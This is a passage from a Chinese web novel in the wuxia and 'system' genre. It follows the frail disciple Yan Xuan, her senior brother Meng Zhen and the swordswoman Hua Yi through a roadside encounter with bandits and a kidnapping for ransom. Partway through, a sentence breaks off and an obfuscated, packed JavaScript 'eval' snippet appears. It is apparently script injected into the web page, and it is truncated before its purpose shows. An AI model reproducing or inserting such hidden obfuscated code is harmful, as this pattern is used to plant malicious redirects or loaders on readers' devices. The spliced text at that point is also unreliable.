“师伯?我刚上山,还没去寻他。” 原本要走上一段的山路,花奕只脚下轻点,两人已缓缓停落在离竹屋不远的地方。 她放开晏璇,伸手点点她的额头:“我听见动静去的你那,虽然这山上确实没什么人,可在外头还是要留点心。被我看到了没什么,被某些个男的看了非挖了他的眼不可。” 说完,她两手屈指对敲了下,拧着眉又道:“几年不见,没想到那个闷葫芦下作起来,要不是被我发现……你可得小心你师兄!” 晏璇张了张嘴,只发出微弱的一声“啊”。 “花奕!” 一道怒喊紧随而至,晏璇转头就见孟珎跨步而来。 他手上拎着一个灰色大布包,脸上是冷凝如霜,比初见她时凶多了。 “你的东西。” 他抬手一扬,包袱被抛出,划过一道弧度向她们砸来。 花奕侧步轻巧接住,没好气道:“叫师姐。这么多年我以为你的脾气该收敛些了,还是老样子啊。” 孟珎肃着脸:“彼此彼此。” 第一次见孟珎怼人,晏璇不禁挑了挑眉。 突然,花奕拉过一旁看戏的她,对孟珎抬抬下巴:“小晏璇也算我的师妹,不许你打什么主意,否则来尝尝破妄的厉害!” 说着,她从背后抽出武器,手腕灵活一转,一柄细长银亮的刀被直直狠插在地面的木桩上。 这是一把类似唐刀的长刀,刀身有着精致的暗纹,刀柄则被鲛革包裹嵌有蓝色琉璃珠。晏璇第一眼错以为是把细剑。 孟珎不为所动,快速扫了一眼晏璇才对花奕一字一句道:“不是你想的那样。而且她是我师妹,不是你的。” 再多他也不解释,垂了眼眸,耳尖上慢慢透出一点红来。 两人吵嘴的架势实在是……晏璇此刻看花奕那张脸,发现她其实大不了自己几岁,真真是被她刚出场的气势唬住了。 这一来一往,晏璇知是花奕误会了。她拉了拉对方的衣袖,轻轻喊她:“奕姐姐,刚才我是在治疗泡药泉……” “啊?”花奕愣了下,“那不是泡澡的地方吗?” 孟珎:“师父几年前将那改成了药泉。” 花奕仍皱着眉:“小师妹泡药泉,你一个男的鬼鬼祟祟在旁边几个意思?” 孟珎:“……” 他的耳廓越来越红,面色也多是不自在。 也算相处了一段日子,晏璇知他脾气是怪了点,为人还是很规矩守诺的。今日午后她没搭理他,他仍去履行师父的交待,只是刚好碰上了不明原因的花奕。 花奕斜了一眼孟珎,转头对她道:“小晏璇,原来你这气虚无力是病着呢。这样,以后你跟着师姐早起练气,每日在这山上山下跑上四五趟,保管你脱胎换骨。” 小九:【宿主,这人说得有理,你要加强锻炼提升身体素质!】 晏璇一拳将它拂开:【我的身体情况你不知道?还是说,你那3%的波动值能救我?】 让一个命数定死之人以破败身躯搏命,是否是那些高高在上的未知体的恶趣味?晏璇含笑瞥了眼系统。 小九:【……宿主,系统错了。】 晏璇顺势把手搭在花奕手臂上:“奕姐姐,师兄……是师父担心我一个人他才……” 花奕哼着打断她:“我管他作甚!以后有事喊上我。” 晏璇明白了,花奕就是单纯和孟珎不对付。 几人回到住处,花奕扛着刀先去见孟尧,院子里剩下他们师兄妹。 孟珎侧身站在木蓼树下,腰背挺直,头却微微垂着,没了在花奕面前的气势。晏璇急着去换衣裳,体虚就是容易出汗。她走前看了一眼孟珎,顿了顿,大概也就在心里倒数了三个数,转身回了自己屋子。 孟珎余光见她走远,蜷着的手指抓握又松开,仿佛掌心被什么烫了。 推门进屋后,一把小巧的靠背绿竹椅吸引了晏璇的目光。椅面光亮,是刚打磨不久的新椅子,靠背上甚至雕了花纹。师父昨日才提,今天晏璇就见到了成品,那头倔牛是真不想要他那双手了。 她在屋里给自己收拾妥当,从床底下拖出一口小箱子,里面放了不少瓶瓶罐罐,每个上头都贴了小纸条。她挑了其中一个梅花纹样的小罐装进自己的百宝袋,回药房的路上路过院子,晾晒的草药已被归置好,簸箕被整齐码在一处。 晏璇扬了下眉,非是她故意偷懒。 “小晏璇,原来你在这。” 花奕扯着嗓子找来的时候,晏璇正翻开一本制药的札记看。 她搬过一条凳子,坐在晏璇的案几旁:“我打算在雾山待一个多月,师伯让我来问你,愿不愿意同我住一个屋子。” 晏璇笑笑:“好啊。” 山上的屋子不多,就算师父不问,她也没什么能拒绝的。 “就知你会答应的。”花奕挪近了几步,打量了下药房轻声道,“那个,你能帮我抓副药吗?最近赶路赶得急,阴虚火旺的,我不好意思同师伯说那个……” 晏璇:“……” “哎呀,你这是什么表情?帮帮你奕姐姐。” 花奕双眸水润,有些无奈地瞪着晏璇,偏小麦色的两颊上浮现出微红。 晏璇忍住笑意,疑惑道:“奕姐姐是药王谷的,为何不通药理?” 她单手挠了挠头:“我娘是药王谷谷主没错,可我从小对那些草草药药的不感兴趣,我更喜欢跟爹爹学武。” 能让她随着性子学东西,又放心她一个人在外闯荡,花奕的爹娘非一般人。 只是,花奕也太信任她了,她一个半吊子才入门多久……晏璇一低头,恰好瞥见之前收起来的药瓶。 “奕姐姐,有新制好的药丸,要不要试试?” “可管用?” “唔,六个时辰一粒,服用不超三次。” 晏璇把白瓷瓶递给她,花奕没有一丝犹豫,接过后当场取用了一颗。晏璇的心跳不可抑制地快了几分,虽说她制药的目的不纯,可用心程度不小。 两人又说了会话,晏璇一边听她讲些江湖趣闻,一边用研钵磨药。 “听说这次品贤阁的镇场找来了穆大师铸的寒羽刀,好想快点见识见识。” “所以,奕姐姐来雾山是为了去云州吗?” “嗯,顺道来见见你这个小师妹呀。” 晏璇笑而不语,见她谈论起那把江湖名刀神采飞扬,情绪明显高涨许多。 听花奕所说,这品贤阁是天下第一庄金雀山庄创立,每三月一开迎四方人士,阁中有武器珍藏、心法秘笈以及疗伤圣药等奇珍异物供江湖中人交易。说白了,是一个相当于展览会和拍卖会的地方。 晏璇好奇道:“他们为何有如此多宝贝?” “有专人搜寻,若是你有什么宝贝,也可直接上门去,金雀山庄最不缺的就是钱。” “要是我以后……炼得了好药,能卖给他们吗?” 花奕“哈哈”一笑:“你不救死扶伤,想着卖药?小晏璇,怎么说你也算药王谷的传人。” “可是,那卖出去的药不也是救人的吗?” “嗯?”花奕 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“那个……已经磨成了药粉,我放在药柜里。”他终是走了进来,眼神避着她。 “师兄。”晏璇扬了扬手里的书,“这里写的我看不懂。” 孟珎似松了口气,转身走过来:“哪里?” 待他走近,晏璇一把握住他的左手腕,只稍一眼,那伤处红肿得比上午那会还要严重。晏璇忍不住要叹气,好歹本人也是学医的,孟珎猛得一抖就要抽回自己的手。 “师兄,我错了,你别生气。”说着,她两只手都握了上去。 孟珎整个人快僵住,微仰着身体:“我……我不生气。” “好,那你不要动,我力气小。” 说着,晏璇松开一只手,从腰间的百宝袋里摸了摸,摸出那一小罐药瓶。 “这是娘留给我的,涂在身上冰冰凉凉的。”她用嘴咬开瓶塞,不管孟珎死瞪着她的眼神,把凝露滴在孟珎的掌心,然后放下药瓶将他手上的凝露抹开,碰到伤处就轻轻地一点点涂上去。 孟珎紧咬了下唇,忍住甩手的冲动,手心没有晏璇说的冰凉感觉,反而火热起来。他低着头,只能看到晏璇的发顶和她认真的侧脸,长睫毛似一把小羽扇,每扇动一下他心里便酸上几分。 【有新的提示:妙手回春,生命值加0.1%】 晏璇:“……” 她手上动作一顿,这涂个药不至于这个评价…… “哎!小晏璇,你的药丸可真灵光!”下一瞬,离开许久的花奕一脸爽快地冲了进来。 孟珎站直身体狂眨眼睛,轻轻拂开了晏璇的手。 “你们,你……那什么恶心的表情。”花奕皱眉瞪了一下孟珎,拉过晏璇,“他没干什么吧?” 【有新的提示:关怀备至,生命值加0.1%】 晏璇这才明白两条信息分别对应了谁,此刻赚了生命值,心情还不错。 “我给师兄涂了一下药。” “他伤哪了?需要你帮他涂。下次,让他自己弄去。” 孟珎拉了拉衣袖遮住了那处,眸中还是雾蒙蒙的,他侧身只对晏璇道:“晚上……想吃什么菜,我去准备。” “唔……想吃山药粉蒸肉。” “好。”说着,孟珎抬步就走。 “喂,姓孟的,你怎么不问我啊?”花奕气得跳脚,对着他的背影喊,“我要吃醋溜白菜,酥炸红烧知了!” 到了晚间,四人一起用饭,一道粉蒸肉,一道则是红烧白菜。花奕气笑了,夹了一口白菜狠狠咬了两下,没想到意外好吃,一腔怒意全成了食欲。晏璇看了,不觉好笑,也美滋滋地吃起她的粉蒸肉。 孟尧再看自己的大徒弟,没了白日里的焦躁不安,与往常一样冷淡似又有些不同。虽不知三小只之间发生了些什么,可他心底也不禁高兴起来,只愿他们岁月流转,情深谊长。 5. 第 5 章 晨曦微露,月亮还挂在山头,三人摸黑踏上了下山的路。 晏璇趴在孟珎背上,伸手在他眼前比划了下:“师兄,快看,像不像一朵月亮花?” 在被她圈起的视野里望出去,树梢后的月亮犹如夜里昙花,静开在墨色枝丫上。 “嗯。”孟珎低应了一声,双手托着晏璇的腿弯上方,侧头道,“小心别摔了。” 花奕背着竹篓,落于他们身侧:“现在就看这朵‘月亮花’谢时,我们能不能顺利到山脚。” 她突然一个腾身,脚踏几处,落脚时已在十步开外。 晏璇看不清她的脸,只听花奕放肆笑着:“小晏璇,要是不想让闷葫芦背了,姐姐来背你。” 她心中暗暗叹气。为了赶集市,他们天不亮就出发,下了山之后还得徒步走上半个多时辰。如果可以,她会窝在房里睡觉,不叫拖累任何一个。 “要是困就……眯会。”孟珎背着她,没受花奕的影响,反而走得更稳了。 “不困,一会我可以自己走。”晏璇见好就收。 然而,不到半盏茶的功夫,孟珎感觉到一颗脑袋软软地垂在他肩头。他停下脚步偏头去看,想起初见那天她喝了药很快入睡,此时面上同那时是相同的宁静,似乎是摒弃一切烦恼,陷入了一场美梦。 孟珎微弯了腰,放轻动作,就让她梦得久一些吧。 花奕一个人很快冲到了山脚处,坐在树下看着下山的方向。 林子里传来落叶被踩的嘎吱响声,花奕一惊,雾山下瘴气重,这个时辰可不是什么人都会来的。她侧身一闪,隐在灌木丛后。 “啧,这雾山是什么鸟不拉屎的地方!姓王的是不是在耍我们?”随着一声啐骂,一个穿着金丝绣线暗花袍的男人钻出了林子。 来人长得膀阔腰圆的,一张方脸上却生了双窄小的吊梢眼,含着戾气。 没听到同伴的回应,他回身瞪了一眼:“老二,你听见我说的没?” “听见了……”另一个穿着象牙白长袍的男人懒懒应道,他往衣襟内掏了掏,一下扯出几条帕子,又从里头挑挑拣拣拿了条边角绣着丁香花样的。 他捏住帕子一角放在鼻前轻嗅,仰头深吸一口:“腮凝新荔,轻嗅迷人,想想便觉可惜。” “可惜?可惜没一剑刺死你?老二,我说了不要去招惹那些名门正派的女的,惹来一身麻烦!” “哎,大哥你不懂,女人就跟品酒似的,越烈口越香啊。” “我看你早晚栽在女人手上。做完这票赶紧走,姓金的品贤阁最近又要开了,离云州这么近总觉得不踏实。” “要不咱们也去逛一逛,没准捞到点什么……” 金大忍不住给他一个爆栗:“我看你是昏了头。上个月才和峋山派结下梁子,姓闵的那个小心眼,要是让他的门生看到我俩,你不怕有去无回?” 花奕听得两人谈话,眉头深皱。她虽不认识他们,可她认出了男子腰间缠着的银色软鞭。她爹爹曾跟她说过,若有一日遇着,千万不可莽撞有多远走多远。 她屏住呼吸,下意识将手伸向背后,一顿后摸了空才记起今日出来没带上破妄。 早不带晚不带的!她咬了咬牙,只希望闷葫芦走得慢些,别和人迎面撞上了。 受花奕吃泄气丸影响,大概这两天搓药搓得太狠,晏璇确实有些困顿,一路上竟没被惊醒。 “师兄,你怎么没叫我?我真的睡着了。” “没事。” 隐约听到两人声音,花奕的拳头都捏紧了,真是怕什么来什么!姓孟的会点轻功外真是百无一用,连听声辨位都不会。 她忍住暴露的冲动暗中观察,若那两人发难,她还有反击的机会。 晏璇和孟珎的动静,金大自然也觉察到了。听他们呼吸吐纳的节奏,不过是两个普通崽子。他大咧咧地现身,乐呵呵道:“哟,想不到这种地方还能见着人,不知两位小友是哪个门派的弟子?” 孟珎一愣,见这突然冒出来的两人顿生警惕,尤其眼前这位皮笑肉不笑,双眼冒着精光,身上有着他最讨厌的气息。孟珎凝眉不语,将晏璇拉至身后,余光感受着周围,不知花奕去了哪里。 银二走了上来:“大哥,你管他哪派的?看这小子身上穿的就知道没什么油水可捞了,至于这个女孩子嘛……嗯,小了点,不然可以陪哥哥玩玩。” 几乎在这人说出最后一句时,孟珎侧身立刻用双手捂住了晏璇的耳朵,本就冷淡的眉眼更加凌厉,如冰如霜的的眸子狠盯着口出狂言之人。 晏璇被孟珎挡着,耳上感受到他掌心的热度,亦如那冰冷面具下的火热心肠。她垂着头,紧抓着孟珎的袖子没说话。 晏璇:【那两人是不是太没道德了点,光天化日的……】 小九停在晏璇肩上哼道:【听说话不像什么好人,不是好人会有什么道德。】 晏璇:【那我对没什么道德的人做点没什么道德的事,不会有事吧?】 小九:【宿主又忘了,本系统不具备评估负影响行为。】 “我们只是路过,打扰。”孟珎退了一步,忍着收回视线,拉着晏璇往大路走去。 “哎,等等,别急。” “急的。”晏璇探出半颗脑袋,怯生生道,“师兄要带我去看大夫。” “……是吗?小姑娘脸色看着……是有些不一样。” “嗯,是很厉害的病。”她捂嘴轻咳了声,偷瞧了眼掌心似吓了一跳,赶紧从袖子里掏出一块帕子擦了擦手,想起什么又去擦嘴角。 金大眯起眼睛,眼见那帕子上染上的一点红,拦路的手不觉往回撤了几分。银二更是侧身后退两步,挥了挥手,仿佛空气里有什么难闻的味道。 “既是如此,两小友快些赶路吧,这最近的镇子都得走上不少时间呢。” “好啊。师兄,我们走吧。”晏璇扯了扯孟珎的袖子,使劲眨了眨眼。 回头,她又对着两个男人挥了挥巾帕:“叔叔小心,前面蛇鼠虫蚁多,被咬一口可就惨了。” 说完,她又假咳了几声,孟珎心领神会,牵着她快步离开。 等他们走出几丈远,隐约还能听到金大的臭骂声:“雾山这地方果真晦气,姓王的说的这单生意没法做了。” 银二皱着眉:“刚才离他们那么近,都不知道有没有沾上什么,我现在觉得浑身刺挠。” 不说还好,一说金大也全身不自在,他一甩胳膊:“走走走!赶紧找个地方换身衣裳,晦气!” 过了没多久,两辆载着货物的青蓬马车缓缓驶来。有人掀开帷幕,朝向随马车骑行的高大男子。 “同镖头,这一路可有异样?” 男子髭须久未打理显得有些沧桑,鼻梁却是高挺自有一番气势。 他侧头展眉笑笑:“王老板放心,请相信我们长兴镖局的兄弟。” “那就好,那就好。”王老板得了保证,心下放松,又缩回了车厢内。 男子轻拉缰绳,马儿缓行。他回望着身后的山林,久久出神。 一人打马靠过来,问道:“同哥,想什么呢?” “没什么。”男子叹了一声,“林大镖头那尊小玉佛不显灵啊,什么都没寻到……” “嗨,同哥,你还真信林头的话啊。” “不信也没什么可信的了。”男子自嘲一笑,重拉紧缰绳,“走吧,上路。” 一队人马很快消失在大道上。 * 孟珎沉默着拉着晏璇快走了一路,直到花奕不知从哪个方向跳将出来。 方才,要不是小师妹灵机一动,凭他的能耐无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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到了镇上,孟珎需要去药铺和杂货铺,花奕就索性跟着晏璇一起逛,几人约好了在云边茶馆碰面。 路上行人中,偶尔就会碰到一两个佩剑扛刀的江湖人。 “往东去往云州,这儿是必经之地,有各门各派的人经过正常。”花奕在一旁解释,这也是她没有带破妄的原因,她不想太招摇把师伯给拱出去。 晏璇很少长时间待在外头,林靖在茶馆找了间雅室,请人到场作画,晏璇得以边喝茶休息边当木头人。花奕好动,喝了碗茶就跑去附近闲逛了。 “小姐不必拘谨,想做什么便做什么。” 这书生装扮的画师长相柔顺,声带磁性,有一种他说什么都不会令人讨厌的感觉。 “哦。”晏璇从别扭的坐姿中缓过来,随意靠在榻上,从百宝袋里取了几根刚买的彩带编穗子打发时间。 林靖笑着关上了门,候在门外。 今日到底是折腾得够呛,晏璇盯着手里的穗结都有了重影。她晃了晃脑袋,抬眼看对面的画师,朦朦胧胧的也有了重影。 不对,不妙! 晏璇睁了睁眼,余光中塌边上不知何时点起了香,丝丝缕缕的烟雾在眼前缭绕。这是……特制的迷香味…… 小九一下跃到晏璇面前,急得只能上下蹦跶:【宿主,醒醒!快醒醒!对面这人有问题!】 晏璇狠心咬了下舌尖,剧痛使她短暂清醒。她抬起手奋力想推翻旁边的茶盏制造噪音,奈何全身无力。 “林……叔……” 模糊中有人影晃动着向她走近。 在晏璇彻底闭上眼那刻,她想,今日黄历上定是写着出行大凶! 6. 第 6 章 混沌的脑袋仿佛被人浇了一瓢冷水,晏璇在一阵哆嗦中睁开了眼睛,星星点点的麻刺感仍游走于全身。 四周昏暗看不见光,阴冷的感觉侵蚀着暴露在外的肌肤。晏璇动了动,发现双手被绑在了身后,还好对方没在她嘴里塞什么布条。周遭的空气隐隐有一股酒类的醇香透出,她猜想自己正被关在某处地下酒窖。 小九化作光点停在半空,可惜这点光亮并不能照亮什么。 嘎吱一声响起,晏璇断了和系统交互情报的思绪,她立刻闭眼装作无知无觉的样子。 窸窸窣窣的脚步声渐近,有人上前推了推她的肩膀。 “她不会死了吧?”是那画师的声音。 “怎么,这会怕了?找我合作时怎么没见你怕?放心,给你那药是从鬼医那弄来的,她至少还得昏个一盏茶时间。” 鬼医的药?可是,她现在已经醒了。晏璇心道。 “给了钱就把她放了。” “就看对方的诚意了。不过,你出来这么久不怕被人起疑吗?” “我本就是要出来抓药的。我先走了,她……你不要毁诺伤她,还是个孩子。” “呵,你倒是假慈悲。” “……” 再接着,脚步声又凌乱地响起,很快陷入一片寂静中。 晏璇直起身子:【所以,是他们俩合计把我绑了,想要勒索。】 小九:【是的。】 今天是晏璇第一次下山,这里谁都不认识她,她也不认识任何人,为何对方就盯上了她,还能配合着把她掳走?既然敢来打她的主意,必是知道她身上有利可图,晏璇把整件事梳理了一遍,只得到一个关键人物,林叔。 她微叹一声,说到底也怪不得林叔。在她记忆里,林叔一直是个冷淡的大人,他身上有着和孟珎相似的淡漠,但比起孟珎,林叔的淡漠里似乎带着某种压抑。最开始,她只以为他是被他爹雇在身边的护卫,直到某日半夜她见林叔在后院练剑,那不是一般护卫会的东西。 这次,他们为何会因着林叔打主意到她头上,就要说回她爹娘。对她,晏时蕴和卢晚茵是毫无保留的,大概也因为补偿心理,他们必是交待了林叔不要计较财物花费。林叔虽惯常低调行事,一涉及她的事,他也同她爹娘忘了防备。 晏璇苦笑着摇摇头,算了,左右她现在也不会有事,最大的威胁反而是这地窖里氧气稀薄,时间久了她可能会撑不住。 晏璇:【小九,你有没有办法帮我解绑?】 小九:【对不起宿主,系统不会。】 虽知道这个答案,晏璇还是想确认一遍,她这个系统没逼着她每天去行善已经是最后的良心了。 * “真是岂有此理!”花奕一掌拍在案几上,掌边正是那张让他们拿钱来赎人的字条。 孟珎捡起字条重看了一遍,手心里握着晏璇掉落的那枚编了一半的平安结。 见屋内的两人都不说话,花奕烦躁地踱起步来,对着林靖道:“林管事,我知道小晏璇身体不好,可不可以先救人?真不知道那人会做出什么来。” 林靖抬眼看了她一眼,冷然中带了一抹杀气,花奕一愣,仿佛见到了和她对招时的爹爹。 在缓过了初时的懊恼后,林靖迅速冷静下来。将小姐掳走的人身手不凡,后窗外并没有留下那人太多的痕迹,是以他第一时间追踪一无所获。 屋内还保持着当时的模样,没有凌乱痕迹,因为对方使用了迷香,并未使用蛮力。林靖看着案上未完成的画像,视线落在最后下笔处许久。 他忽然开口道:“你们两个,谁的武功更好?” 花奕和孟珎对看一眼。 “花奕的更好一些。”孟珎立即道。 花奕张了张嘴,自己想说的让他先开了口。若是从前,她忍不住定要奚落他一番,可她突然反应过来,这家伙是为了小晏璇不想添乱。 “好。”林靖深吸一口气,“若信我跟我来,我们边走边说。” 听后,两人俱都点了点头。 林靖按着字条上指定,一人来到镇西边的破庙。在进庙之前,他顿了顿,抬手捂住藏着银票的胸口左右打量,小心翼翼得仿佛四周都是埋伏。 庙宇内墙壁斑驳,顶上蛛丝缠绕,角落里有一些干草堆并着几个破了碗口的瓷碗,想是无家可归之人的暂避处,此时早被人清了场赶了出去。 林靖来到神像下,按对方要求将赎金放入供桌上的一个木盒子内。若事成,半个时辰之后即可到云边客栈寻人;若不成,归还回来的是什么东西就不知道了。 林靖做完一切,在神像面前双手合十行了一礼,一步一回头地离开了破庙。 隐于神像后多时的人勾唇一笑,他轻身一跃落于地面,正欲伸手拾起木盒,一道劲风裹挟着什么正向他射来。男人立刻移步转身,只见一颗拇指大的石子狠狠钉入进木盒旁的桌面。 好强的内力! 男人忽感不妙,环顾四周,怒喝道:“谁!” 然而回应他的只有贯穿破庙的呜呜风声。 他咬了咬牙,再次去拿木盒,此时不止一道劲风,连着三道劲气连发,木桌上被钉入了一排的石子。 男人气得跳将起来,一脚踹翻了供桌,木盒被抛在空中。他一个飞身,劈手夺过,同时背后有一道气息接近。 他迅速回身,扬起双拳挡住了来人的一掌。 此人正是林靖,一掌不成,他脚下腾挪,连着数招攻其面门。男人被逼得节节后退,当他一脚踏在庙内石柱上,借力倒挂金钩向林靖横扫一腿。林靖向后侧翻,男人紧随而至,使出一招连环夺命腿,而林靖身形变换更快,仿佛一道幻影使得对方每一招落了空。 “堂堂峒山派的竟也开始干些鸡鸣狗盗之事了吗?”林靖落在断墙上,居高临下道。 “你……你是……,不可能!你怎么会披云堂的凌云纵?”男人眯眼看他。 林靖轻嗤一声:“你既会峒山派的穿心腿法,我会些别的门派的武功有什么奇怪?” “你!” “邢乘风已经如此不堪了,任由门派中人在外胡作非为。” “不准你侮辱掌门!” 两人唇枪齿剑之后,又是一番拳拳到肉的搏斗。 花奕在庙外惊得目瞪口呆,不成想能在此看到一场高手对决,兴奋之余,她也没忘林靖交待的,绝不能让这混蛋跑了。 孟珎与他二人分开后,悄悄来了画师家中。林靖说他轻功尚可,跟踪画师这个普通人绰绰有余。 “倩娘,药熬好了,趁热喝了。” 他听得画师轻声软语哄着一人,屋里时不时传出女子的轻咳声。 “今日你还要出摊吗?我可以顾好自己。” “不了,今日歇一天,你好好躺着就行。” 男人陪女人喝完药,又说了好一会话,无非是一些坊间趣闻,还有哪 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心底顿时凉了大半,他不敢信自己就这样害死了一条人命,狠咬了一口自己的虎口强迫冷静下来。对了,还有脉搏,他伸手就要去搭晏璇的脉。 地窖入口处传来吱呀声,男人惊得手一抖,起身之际将落地的火折子踩中,地窖内一下子变得幽暗一片。 “是谁?”男人喊道。 无人应答,阴森的地下,凉气袭人,气氛变得更加微妙。 “到底是——” 男人话未落,有人一掌劈在他颈侧,短促的一声“啊”后,男人缓缓倒落。 “师妹!晏璇!” 孟珎有些变调的声音在地窖内响起。 他记得男人掉落的火折子就在附近,伸着手在地上一寸寸地摸,可是止不住全身颤抖起来,仿佛呼吸都不能,额上不断有汗冒出来。 他咬牙逼迫自己,五指扣住地面,却像是陷入了更严重的境地,呼吸粗重几乎要痉挛。 “师兄,我在这……” 晏璇没死,可也真的是气力全无,但孟珎的症状好似比她还严重。在小九的指引下,她率先捡起了那只火折子,用着最后的力气将它点燃。 火光起,孟珎就半跪在她一步之外。她从未见他如此狼狈过,整个人似在水里泡过,额上面上全是汗,脆弱彷徨地看着她,那双睁着的眼睛不再是初见如雪山潭水般清澈的眼眸,而是无望的蓄满泪水的令人惊痛的双眸。 小九:【宿主,你自己看,他真的很不对劲。】 “师兄……” 晏璇举着火折子慢慢挪向她,抬起另一只手捧住他的脸侧,他顿时像一头被惊到的小鹿颤了一下。 “师兄,没事了,我们都没事。” 晏璇轻声说着这句话,一遍又一遍。 有泪水不断滑过晏璇的掌心,顺着她的手腕带走她强行挣开绳索流出的血液,蜿蜒过她整个手臂,刺痛人的双眼。 “没事了?” 孟珎整个人一晃,垂头倒在晏璇的肩头,晏璇勉力撑住,单手轻拍着孟珎的后背。 “小姐!” “小晏璇!” “……” 林叔和花奕的声音此起彼伏传来,地窖的入口再次被打开,这次有更多的光亮照进来。 晏璇的目光迎向那两个背光的身影,渐渐笑了。 “嗯,没事了。” 7. 第 7 章 “客官,您要的东西都在这了。” 客栈掌柜指使着两个小厮进屋,又是端水倒茶,又是准备衣物吃食,来来回回跑了几趟。小店经营多年,老板什么人没见过,今天这几位就是杀气颇重,不好得罪。 管它屋里都是些什么人,一眼也别往里瞄,让手下们干完活赶紧撤要紧。 林靖扫了眼屋内,对掌柜挥了挥手,把门一关。 客栈内不少人在窃窃私语,不过江湖恩怨切忌掺和,看个热闹罢了。倒是洒扫的两个小厮嘀咕着,那被扛着进去的男人不是字画摊的书生吗? 晏璇坐在屋里唯一的床上,看着面前在给她包扎的孟珎。他汗湿的头发贴在额上,眼睛还有些肿,脸上和衣服几处都是沾了她血的脏污,整个人仿佛浴血奋战过。先前他情绪激烈反常有点像晏璇以前见过的对黑暗恐惧症的描述,但又有些不同,毕竟孟珎平时并不怕黑,难道是地窖这个特定地点?晏璇若有所思。 她的伤势简单,就是被划了道口子外加一点勒痕,只是染血的袖子加深了视觉冲击让人觉得很严重。晏璇让孟珎先去清理,林叔会给她处理伤口,可他充耳不闻,沉默着给她清创、上药、包扎。 “你答应过师父,不随意伤害自己的身体。”良久,他冒出一句。 晏璇:“……” 她是自救不小心而为,可恶的是还没等动手就被他打断了。算了,她现在整个人懒洋洋的没缓过来,随他怎么说。只是,他这包扎的手法能不能别太过分,一点小伤,两只手腕上裹出了超大型护腕的效果。 晏璇向林叔投去求救一眼,发现他的脸色更难看,无怪乎刚才掌柜一副战战兢兢模样。一旁的花奕更是皱着眉瞪她,眼眶都红了。 晏璇:“……”大概都在怪她莽撞。 然而他们心思各异。林靖气愤于那两个男的,花奕则想到小姑娘受着伤困在黑暗中该多难受,就连闷葫芦都失了平时冷静,算他心疼自己师妹。 躺在地上的男人动了动,闷哼出声。被扔角落里的金麓猛得睁了眼,这无用书生总算醒了,也不知会乱说些什么,他这次倒了大霉碰了硬钉子。 男人挣扎着撑起身体,手抚着胸口咳了几声。原本挨了孟珎一记手刀早该醒的,只是当时林靖闯入地窖误会晏璇和孟珎受到重创,于是他又被林靖补了两脚。 这画师也就二十来岁的样子,斯斯文文,眉目俊雅。然而……可见不可轻信男人,长得越是漂亮越是危险。 “醒了?”林靖冷道。 男人皱着一张脸并不好受,他一抬头看见晏璇直愣愣盯着自己,吓得一仰,靠着手肘撑地才没躺倒。 “你,你还活着?” 晏璇本是就势装死吓一吓他,若能吓退最好,不行,她还有几颗药效不怎么样的药等着招呼人呢。 林靖问:“小姐,想要怎么处置这两人?” “处置?”她没怎么想好,别的世界能报警,这个世界不知道报官有没有用。 “他们伤了人,自是要付出代价。” 晏璇看了眼自己僵直的手腕,这好像是她自己搞出来的……不过,掳人勒索已是大错。 她抬手指了指角落里的男人:“他是?” “掳走小姐的帮凶,武功很高,我已点了他的穴道。” “他们……只是为了钱?” 两个男人的脸色顿时有些难言。怎的,敢做不敢应? 林靖瞥了眼,扯过金麓按在地上,在他身上伸指一点:“自己说吧。” 金麓:“没什么好说的,有本事就杀了我。” 骨头这么硬,反衬他们才是恶人似的……还有那个书生,话里话外怕她死了,却还要来做这种勾当。 晏璇没空给他们分析人生找理由,以德报怨不是她的品质,找机会补生命值才是她真正会做的。 “杀人?真可怕……”晏璇转头问林靖,“可不可以把他武功封了?他就害不了人了。” 想废他的武功? 金麓气得发抖,怒道:“小畜生,不如杀了我!” “胡言乱语!”林靖一掌拍出,重新点了他的哑穴。 金麓气血翻腾间满目戾气,脖子上的青筋都鼓了起来。 “小晏璇,林前辈说他是峒山派的人,要不交给他们门派来处置,废他武功实在是……”花奕并非同情,只是出于一个练武之人的可惜。 晏璇耍够了,借坡下驴:“这样啊……那,林叔,我们写个认罪书让他签字画押,以后不能让他抵赖。” “好,听小姐的。” “唔,多写几份。” “……” 啊?金麓瞪眼疑惑,这一手转变打得他措手不及,他喘着气慢慢平复下来。 小东西还真是不谙世事的傻子,叫他签字也得看他认不认…… 确认了认罪书的内容,林靖当场誊写了五份,按着金麓的左右手各印了十个手指印,如果可以晏璇可能会把金麓的脚趾印都印上去。在认罪书的右上角,她还画了一个金麓头像的简笔画,这人眉心间有颗痣,非常好认。 等画好所有,林靖取了一份封装,拜托花奕前往驿馆将它交给一个胡姓商人,不久这封信就会送到峒山派掌门手里。 金麓张着嘴,觉得荒唐可笑却又只能任人“宰割”。 “林叔。”晏璇掏出一颗药丸,色泽暗红,似葡萄般大小,“这是我最近炼制的药,叫去饿丸。” “去恶丸?” “嗯,吃了会心情变好。这位叔叔脾气很差的样子,给他最适合了。” 孟珎望她一眼,她最近窝在药房究竟是炼了多少奇奇怪怪的药…… 其实这只是晏璇自制果腹的零嘴,加了些山楂之类的提味,然后故意搓成药丸的样子。至于为什么这么做,她只是觉得好玩。 林靖不管这药是否真有那药效,既是晏璇做的那就是花了心血的。 “好。”他一把接过,没给金麓反应的机会就将药丸送进了他嘴里。 药丸在喉咙口差点堵住,噎得金麓直翻白眼。这对大小畜生啊!哪里是什么小傻子,她分明是要下毒害他。 “感觉怎么样?”晏璇问。 林靖适时解开他的穴道,金麓干呕了两声,哑着嗓子道:“拿解药来!” 晏璇困惑:“解药?为什么会有解药?” 啊啊啊!金麓简直要疯,她还一脸纯真反问,他到底惹了什么怪胎。 随着时间作用,肚腹内升腾起热意,一种饱胀感刺激着他,丹田处更是隐隐作痛。他穴道被封不能运气抵挡,只怕这毒马上渗透五脏六腑了。 “我错了,姑奶奶,给我解药吧。” 晏璇忍笑,为难地看向林靖:“林叔……” “想要解药也行。”林靖飞快眨了下眼睛,这是他俩在晏璇小时候对的暗号。 “若你堂堂正正做人,隔月十五来云边客栈取解药就是。若是再妄作胡为,等着月上中天毒发而亡吧。” 晏璇只是想到吓唬人那步,林叔走得比她还远,她得想想炼点什么像模像样的东西出来充当这个解药。 金麓咬了咬牙,他是什么圣人有资格来要求他做事?可人就是这样被威胁拿捏着,他无话可驳。 “知道了。” 